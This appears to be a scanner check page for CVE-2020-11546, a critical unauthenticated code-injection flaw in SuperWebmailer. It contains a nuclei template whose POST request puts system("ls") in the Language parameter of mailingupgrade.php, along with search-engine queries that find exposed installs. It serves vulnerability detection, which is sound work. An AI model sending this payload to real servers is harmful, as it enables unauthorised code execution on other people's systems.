SuperWebmailer 7.21.0.01526 - Remote Code Execution

criticalseverity

9.8CVSS score

32.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

SuperWebMailer 7.21.0.01526 is susceptible to a remote code execution vulnerability in the Language parameter of mailingupgrade.php. An unauthenticated remote attacker can exploit this behavior to execute arbitrary PHP code via Code Injection.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade to the latest version of SuperWebmailer to mitigate this vulnerability.

How to confirm it

Send: POST /mailingupgrade.php
Positive when: contains "ajax_ccea.php" and "ajax_getemailingactions.php" and "ajax_getemailtemplates.php" AND status 200

Run it with nuclei: nuclei -id CVE-2020-11546 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-11546

info:
  name: SuperWebmailer 7.21.0.01526 - Remote Code Execution
  author: Official_BlackHat13
  severity: critical
  description: SuperWebMailer 7.21.0.01526 is susceptible to a remote code execution vulnerability in the Language parameter of mailingupgrade.php. An unauthenticated remote attacker can exploit this behavior to execute arbitrary PHP code via Code Injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade to the latest version of SuperWebmailer to mitigate this vulnerability.
  reference:
    - https://github.com/Official-BlackHat13/CVE-2020-11546/
    - https://blog.to.com/advisory-superwebmailer-cve-2020-11546/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11546
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11546
    cwe-id: CWE-94
    epss-score: 0.32841
    epss-percentile: 0.98365
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: superwebmailer
    product: superwebmailer
    shodan-query:
      - title:"SuperWebMailer"
      - http.title:"superwebmailer"
    fofa-query: title="superwebmailer"
    google-query: intitle:"superwebmailer"
  tags: cve,cve2020,rce,superwebmailer,vkev,vuln

http:
  - raw:
      - |
        POST /mailingupgrade.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        step=1&Language=de{${system("ls")}}&NextBtn=Weiter+%3E

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ajax_ccea.php
          - ajax_getemailingactions.php
          - ajax_getemailtemplates.php
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from